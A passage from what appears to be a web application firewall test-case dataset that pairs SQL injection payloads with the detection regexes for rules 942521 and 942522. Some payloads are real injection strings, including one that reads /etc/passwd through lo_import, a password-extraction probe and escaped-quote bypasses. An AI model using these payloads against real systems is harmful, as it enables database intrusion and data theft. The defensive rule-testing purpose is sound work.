1%21%21%27%40%60%22%21%60.....%27%40%40%40%40%40%27.....%60%21%21%60%40%40%40%27...%60%21%21%21%60%40%40%40%22%22%21%21%21%21%21%22%40%40%40%40%27%40%22.%22.%22%40%40%40%40%40%22%40%60....%60....%27%21%21%21%21%21%22%21%21%21%21%60%21%21%21%21%21%27....%27%21%21%21%21%60%22%60%40%40%40%40%40%60...%22%40%60%40%40%22%40%40%40%40%40%27%21%21%27%22%40%40%60%27%22%40%40%40%22%21%60%27%21%21%21%21%21%60...%27%40%40%22%21%21%21%27%21%27%21%21%21%60%21%21%21%21%21%60%22.....%22%21%21%21%21%27%40%40%40%40%60%21%21%27.....%22%21%21%21%22%21%21%22%21%21%22%40%40%27%21%21%21%21%22%40%40%40%40%27%40%40%40%40%27....%60%40%40%40%60%40%22...%27.....%27%40%40%22%40%40%40%22%21%21%21%21%21%22...%27..%22%21%22%40%40%40%40%40%27....%60%40%40%40%40%22%27%21%21%21%21%21%60%40%40%22%27%40%40%40%40%40%60%21%21%21%27%40%40%40%27%60.%27%21%21%21%22....%60%40%27.....%22%40%40%40%40%40%27%40%60%40%40%40%40%60%40%40%40%60%21%21%21%21%21%60%27%21%21%21%27....%22%22%21%21%27...%27%21%21%21%27...%27%40%22....%22%40%40%27%21%21%21%21%27.....%22%40%40%40%40%27%22....%22...%27%21%21%21%60....%22%40%40%40%22...%27%40%27..%60%21%21%27%40%40%40%40%40%60%40%60%21%21%21%21%21%27.....%60%27%22%22%27%27.%22%60%21%21%22%40%40%60%21%22%60%21%21%27..%60%21%21%21%21%60%21%21%21%21%21%60%40%40%22%21%21%21%21%21%60%40%40%60....%60%40%40%40%40%40%22%40%40%40%40%60.....%60%27%27...%27%22%22%40%40%60.....%22%22%27%40%60%27%27.....%22%40%27%60.....%60%40%22%40%40%40%40%27%21%21%21%21%60%40%40%40%27%40%40%40%40%40%22%21%21%21%21%60.%22%21%21%27%40%27%22%21%21%21%21%60%40%40%27%40%40%40%40%27%21%21%27%27..%27%27%21%21%21%21%21%27%40%27.%60%21%21%21%21%21%27%40%40%40%40%27%21%21%27%40%40%40%40%22...%22%60%27%40%40%40%22%40%40%40%22%22%21%21%21%22%21%21%60...%27.....%60%40%40%40%60%21%21%21%60%40%40%40%40%40%22%22%21%21%21%60%21%21%21%21%21%27%27%21%21%21%21%22....%27%21%21%21%21%21%27%21%21%21%22%21%21%21%21%21%27%22....%60%27%40%40%27%21%27.....%22%21%22%21%21%21%21%21%22%21%21%21%21%22...%27%22%40%40%40%60%40%40%40%40%40%27%27%21%21%27....%22.....%22%21%21%21%22%40%40%40%40%40%27%21%21%21%21%60%22.....%60..%60%22%21%21%21%22%22%27...%27%40%40%40%40%27.....%27%21%21%21%60...%27.%22%21%21%21%21%21%27%21%27%21%21%21%22%40%27.....%27%21%21%21%21%22%40%27...%27%21%21%27%40%40%22%40%40%40%40%40%60..%27%21%27.....%22%22%21%21%21%21%21%27%40%40%40%40%22%40%40%40%60.....%60%21%21%21%21%21%27....%27%27%40%40%40%40%27.....%27%21%60....%22...%22%21%21%21%21%27%21%21%22%40%27%40%40%40%40%40%27%21%21%21%22%21%21%21%21%27%21%21%21%21%60%27%27..%22%22%21%21%21%27%22%21%60..%22%27%27%60..%22%21%22%21%21%21%21%21%27..%27..%27.%27%27%21%21%21%21%60%27%21%21%21%21%60..%27%21%21%22.....%22%21%21%21%21%27%21%21%21%27....%60.....%22...%22%22%22.%22%27.%60%21%21%21%21%22%60%40%22.....%27%21%21%21%21%22%40%60...%22.%22.....%27%27..%22%27%21%21%21%21%21%60....%22%21%21%21%22..%60%21%21%21%21%60%21%21%21%21%27....%60%27%40%40%40%22%27.%27....%22%40%40%40%60%21%21%21%21%22%40%40%40%40%40%27%21%21%21%60%40%40%40%40%60.%22..%22%40%40%22%21%60%22%21%21%21%21%27%27%27.%27%22%40%40%40%22%40%40%40%27....%22%21%21%21%21%21%22%21%21%21%21%22%21%27%60%27%21%21%21%60%21%27...%60%21%21%21%21%27...%27%40%40%40%40%40%60%21%21%60%21%21%21%22%40%60%40%40%40%40%40%60%27%60..%22%22%21%21%27%22%40%40%27...%22..%22....%22%27%60%40%40%27....%27%40%40%40%40%22%60%21%21%60.%60%40%27%21%60%21%22...%27...%27.....%27%21%21%22..%22%22%40%27%21%21%21%27%40%40%22.%27%21%21%21%60%40%60%60%21%21%21%60%21%21%22...%27.%22%21%21%21%27...%22%21%21%21%21%60%40%40%40%40%60%22.%27%21%21%60.....%60%21%21%60%21%21%21%21%21%27.%27%40%40%40%40%40%22%21%21%21%60..%27%21%21%21%21%21%27%21%21%60%40%40%27%21%21%21%27.%22%21%21%21%21%22.%22%40%40%40%40%40%22%21%21%21%22%21%21%22%22%21%21%21%60%27%21%21%60%40%40%40%40%40%27..%27%40%60.....%22%21%21%21%27.%27%21%21%21%21%27%27....%22%40%40%27%40%40%40%40%40%60%60or" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)^(?:[^']*?(?:'[^']*?'[^']*?)*?'|[^\\\"]*?(?:\\\"[^\\\"]*?\\\"[^\\\"]*?)*?\\\"|[^`]*?(?:`[^`]*?`[^`]*?)*?`)[\\s\\x0b]*([0-9A-Z_a-z]+)\\b", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942521", "test_description": "Performance test" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var='.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'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.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'or" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)^(?:[^']*?(?:'[^']*?'[^']*?)*?'|[^\\\"]*?(?:\\\"[^\\\"]*?\\\"[^\\\"]*?)*?\\\"|[^`]*?(?:`[^`]*?`[^`]*?)*?`)[\\s\\x0b]*([0-9A-Z_a-z]+)\\b", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942521", "test_description": "Performance test" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'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.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'or" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)^(?:[^']*?(?:'[^']*?'[^']*?)*?'|[^\\\"]*?(?:\\\"[^\\\"]*?\\\"[^\\\"]*?)*?\\\"|[^`]*?(?:`[^`]*?`[^`]*?)*?`)[\\s\\x0b]*([0-9A-Z_a-z]+)\\b", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942521", "test_description": "Negative test: performance test" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "admin%2540juice-sh.op%5C%27and%2520likely%2520%28id%29--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)^(?:[^']*?(?:'[^']*?'[^']*?)*?'|[^\\\"]*?(?:\\\"[^\\\"]*?\\\"[^\\\"]*?)*?\\\"|[^`]*?(?:`[^`]*?`[^`]*?)*?`)[\\s\\x0b]*([0-9A-Z_a-z]+)\\b", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942521", "test_description": "Detect admin%40juice-sh.op'and%20likely%20(id)--" } }, { "input": { "malicious_payload": [ { "location": "header_user-agent", "value": "1' and lo_import('/etc' || '/pass' || 'wd')::int::bool and 'true" } ], "attack_context": { "method": "GET", "location": [ "header_user-agent" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)^(?:[^']*?(?:'[^']*?'[^']*?)*?'|[^\\\"]*?(?:\\\"[^\\\"]*?\\\"[^\\\"]*?)*?\\\"|[^`]*?(?:`[^`]*?`[^`]*?)*?`)[\\s\\x0b]*([0-9A-Z_a-z]+)\\b", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942521", "test_description": "Detects odd number of quotes in request headers" } }, { "input": { "malicious_payload": [ { "location": "header_user-agent", "value": "1'and json_search (json_array(password),0b11000010110110001101100,'t_______________')#" } ], "attack_context": { "method": "GET", "location": [ "header_user-agent" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)^(?:[^']*?(?:'[^']*?'[^']*?)*?'|[^\\\"]*?(?:\\\"[^\\\"]*?\\\"[^\\\"]*?)*?\\\"|[^`]*?(?:`[^`]*?`[^`]*?)*?`)[\\s\\x0b]*([0-9A-Z_a-z]+)\\b", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942521", "test_description": "Detects odd number of quotes in request headers" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=foo'or'oof" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)^(?:[^']*?(?:'[^']*?'[^']*?)*?'|[^\\\"]*?(?:\\\"[^\\\"]*?\\\"[^\\\"]*?)*?\\\"|[^`]*?(?:`[^`]*?`[^`]*?)*?`)[\\s\\x0b]*([0-9A-Z_a-z]+)\\b", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942521", "test_description": "Integration test: 942521 blocks foo'or'oof" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=%5C'or'1" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "^.*?\\x5c['\\\"`](?:.*?['\\\"`])?\\s*(?:and|or)\\b", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942522", "test_description": "Blocks bypass with escaped quotes" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=%5C%22or%221" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "^.*?\\x5c['\\\"`](?:.*?['\\\"`])?\\s*(?:and|or)\\b", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942522", "test_description": "Blocks bypass with escaped quotes" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=%5C%60or%601" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "^.*?\\x5c['\\\"`](?:.*?['\\\"`])?\\s*(?:and|or)\\b", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942522", "test_description": "Blocks bypass with escaped quotes" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=%5C'and" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "^.*?\\x5c['\\\"`](?:.*?['\\\"`])?\\s*(?:and|or)\\b", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942522", "test_description": "Blocks bypass with: \\'and" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var='or'1" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "^.*?\\x5c['\\\"`](?:.*?['\\\"`])?\\s*(?:and|or)\\b", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942522", "test_description": "Negative test: doesn't block normal SQLi" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=%5C' foo or" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "^.*?\\x5c['\\\"`](?:.*?['\\\"`])?\\s*(?:and|or)\\b", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942522", "test_description": "Negative test: doesn't block escaped quotes without following (and|or)" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=newline%0A%5C' and 1" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "^.*?\\x5c['\\\"`](?:.*?['\\\"`])?\\s*(?:and|or)\\b", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942522", "test_description": "New line bypass" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=Incorrectly%20constructed%20SQL%20statements%0AThis%20form%20of%20injection%20relies%20on%20the%20fact%20that%20SQL%20statements%20consist%20of%20both%20data%20used%20by%20the%20SQL%20statement%20and%20commands%20that%20control%20how%20the%20SQL%20statement%20is%20executed.%20For%20example%2C%20in%20the%20SQL%20statement%20select%20*%20from%20person%20where%20name%20%3D%20'susan'%20and%20age%20%3D%202%20the%20string%20'susan'%20is%20data%20and%20the%20fragment%20and%20age%20%3D%202%20is%20an%20example%20of%20a%20command%20(the%20value%202%20is%20also%20data%20in%20this%20example).%0A%0ASQL%20injection%20occurs%20when%20specially%20crafted%20user%20input%20is%20processed%20by%20the%20receiving%20program%20in%20a%20way%20that%20allows%20the%20input%20to%20exit%20a%20data%20context%20and%20enter%20a%20command%20context.%20This%20allows%20the%20attacker%20to%20alter%20the%20structure%20of%20the%20SQL%20statement%20which%20is%20executed.%0A%0AAs%20a%20simple%20example%2C%20imagine%20that%20the%20data%20'susan'%20in%20the%20above%20statement%20was%20provided%20by%20user%20input.%20The%20user%20entered%20the%20string%20'susan'%20(without%20the%20apostrophes)%20in%20a%20web%20form%20text%20entry%20field%2C%20and%20the%20program%20used%20string%20concatenation%20statements%20to%20form%20the%20above%20SQL%20statement%20from%20the%20three%20fragments%20select%20*%20from%20person%20where%20name%3D'%2C%20the%20user%20input%20of%20'susan'%2C%20and%20'%20and%20age%20%3D%202.%0A%0ANow%20imagine%20that%20instead%20of%20entering%20'susan'%20the%20attacker%20entered%20'%20or%201%3D1%3B%20--.%0A%0AThe%20program%20will%20use%20the%20same%20string%20concatenation%20approach%20with%20the%203%20fragments%20of%20select%20*%20from%20person%20where%20name%3D'%2C%20the%20user%20input%20of%20'%20or%201%3D1%3B%20--%2C%20and%20'%20and%20age%20%3D%202%20and%20construct%20the%20statement%20select%20*%20from%20person%20where%20name%3D''%20or%201%3D1%3B%20--%20and%20age%20%3D%202.%20Many%20databases%20will%20ignore%20the%20text%20after%20the%20'--'%20string%20as%20this%20denotes%20a%20comment.%20The%20structure%20of%20the%20SQL%20command%20is%20now%20select%20*%20from%20person%20where%20name%3D''%20or%201%3D1%3B%20and%20this%20will%20select%20all%20person%20rows%20rather%20than%20just%20those%20named%20'susan'%20whose%20age%20is%202.%20The%20attacker%20has%20managed%20to%20craft%20a%20data%20string%20which%20exits%20the%20data%20context%20and%20entered%20a%20command%20context.%0A%0AA%20more%20complex%20example%20is%20now%20presented.%0A%0AImagine%20a%20program%20creates%20a%20SQL%20statement%20using%20the%20following%20string%20assignment%20command%20%3A%0A%0Avar%20statement%20%3D%20%22SELECT%20*%20FROM%20users%20WHERE%20name%20%3D%20'%22%20%2B%20userName%20%2B%20%22'%22%3B%0A%0AThis%20SQL%20code%20is%20designed%20to%20pull%20up%20the%20records%20of%20the%20specified%20username%20from%20its%20table%20of%20users.%20However%2C%20if%20the%20%22userName%22%20variable%20is%20crafted%20in%20a%20specific%20way%20by%20a%20malicious%20user%2C%20the%20SQL%20statement%20may%20do%20more%20than%20the%20code%20author%20intended.%20For%20example%2C%20setting%20the%20%22userName%22%20variable%20as%3A%0A%0A'%20OR%20'1'%3D'1%0Aor%20using%20comments%20to%20even%20block%20the%20rest%20of%20the%20query%20(there%20are%20three%20types%20of%20SQL%20comments%5B14%5D).%20All%20three%20lines%20have%20a%20space%20at%20the%20end%3A%0A%0A'%20OR%20'1'%3D'1'%20--%0A'%20OR%20'1'%3D'1'%20%7B%0A'%20OR%20'1'%3D'1'%20%2F*%20" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "^.*?\\x5c['\\\"`](?:.*?['\\\"`])?\\s*(?:and|or)\\b", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942522", "test_description": "Negative test: Wikipedia article about SQLi" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "admin%2540juice-sh.op%5C%27and%2520likely%2520%28id%29--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "^.*?\\x5c['\\\"`](?:.*?['\\\"`])?\\s*(?:and|or)\\b", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942522", "test_description": "Detect admin%40juice-sh.op'and%20likely%20(id)--" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=foo%5c''or'oof" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "^.*?\\x5c['\\\"`](?:.*?['\\\"`])?\\s*(?:and|or)\\b", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942522", "test_description": "Integration test: 942522 blocks foo\\''or'oof" } }, { "input": { "malicious_payload": [ { "location": "header_user-agent", "value": "encode%28lo_get%2816400%29%2C%27base64%27%29%3A%3Aint" } ], "attack_context": { "method": "GET", "location": [ "header_user-agent" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:cii(?:str)?|in)|tan2?)|b(?:enchmark|i(?:n_to_num|t_(?:and|count|length|x?or)))|c(?:har(?:acter)?_length|eil(?:ing)?|o(?:alesce|ercibility|llation|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|t)|rc32|ur(?:(?:dat|tim)e|rent_(?:date|setting|time(?:stamp)?|user)))|d(?:a(?:t(?:abase(?:_to_xml)?|e(?:_(?:add|format|sub)|diff))|y(?:name|of(?:month|week|year)))|count|e(?:code|grees|s_(?:de|en)crypt)|ump)|e(?:lt|n(?:c(?:ode|rypt)|ds_?with)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:el|n)d_in_set|ound_rows|rom_(?:base64|days|unixtime))|g(?:e(?:ometrycollection|t(?:_(?:format|lock)|pgusername))|(?:r(?:eates|oup_conca)|tid_subse)t)|hex(?:toraw)?|i(?:fnull|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull)|superuser)|null))|json(?:_(?:a(?:gg|rray(?:_(?:elements(?:_text)?|length))?)|build_(?:array|object)|e(?:ac|xtract_pat)h(?:_text)?|object(?:_(?:agg|keys))?|populate_record(?:set)?|strip_nulls|t(?:o_record(?:set)?|ypeof))|b(?:_(?:array(?:_(?:elements(?:_text)?|length))?|build_(?:array|object)|object(?:_(?:agg|keys))?|e(?:ac|xtract_pat)h(?:_text)?|insert|p(?:ath_(?:(?:exists|match)(?:_tz)?|query(?:_(?:(?:array|first)(?:_tz)?|tz))?)|opulate_record(?:set)?|retty)|s(?:et(?:_lax)?|trip_nulls)|t(?:o_record(?:set)?|ypeof)))?|path)?|l(?:ast_(?:day|insert_id)|case|e(?:as|f)t|i(?:kel(?:ihood|y)|nestring)|o(?:_(?:from_bytea|put)|ad_file|ca(?:ltimestamp|te)|g(?:10|2)|wer)|pad|trim)|m(?:a(?:ke(?:_set|date)|ster_pos_wait)|d5|i(?:crosecon)?d|onthname|ulti(?:linestring|po(?:int|lygon)))|n(?:ame_const|ot_in|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:eriod_(?:add|diff)|g_(?:client_encoding|(?:databas|read_fil)e|l(?:argeobject|s_dir)|sleep|user)|o(?:(?:lyg|siti)on|w)|rocedure_analyse)|qu(?:arter|ery_to_xml|ote)|r(?:a(?:dians|nd|wtohex)|elease_lock|ow_(?:count|to_json)|pad|trim)|s(?:chema|e(?:c_to_time|ssion_user)|ha[12]?|in|oundex|pace|q(?:lite_(?:compileoption_(?:get|used)|source_id)|rt)|t(?:arts_?with|d(?:dev_(?:po|sam)p)?|r(?:_to_date|cmp))|ub(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|ys(?:date|tem_user))|t(?:ime(?:_(?:format|to_sec)|diff|stamp(?:add|diff)?)|o(?:_(?:base64|jsonb?)|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|i(?:str|x_timestamp)|likely)|(?:pdatexm|se_json_nul)l|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|var(?:_(?:po|sam)p|iance)|we(?:ek(?:day|ofyear)|ight_string)|xmltype|yearweek)[^0-9A-Z_a-z]*\\(", "negated": false } 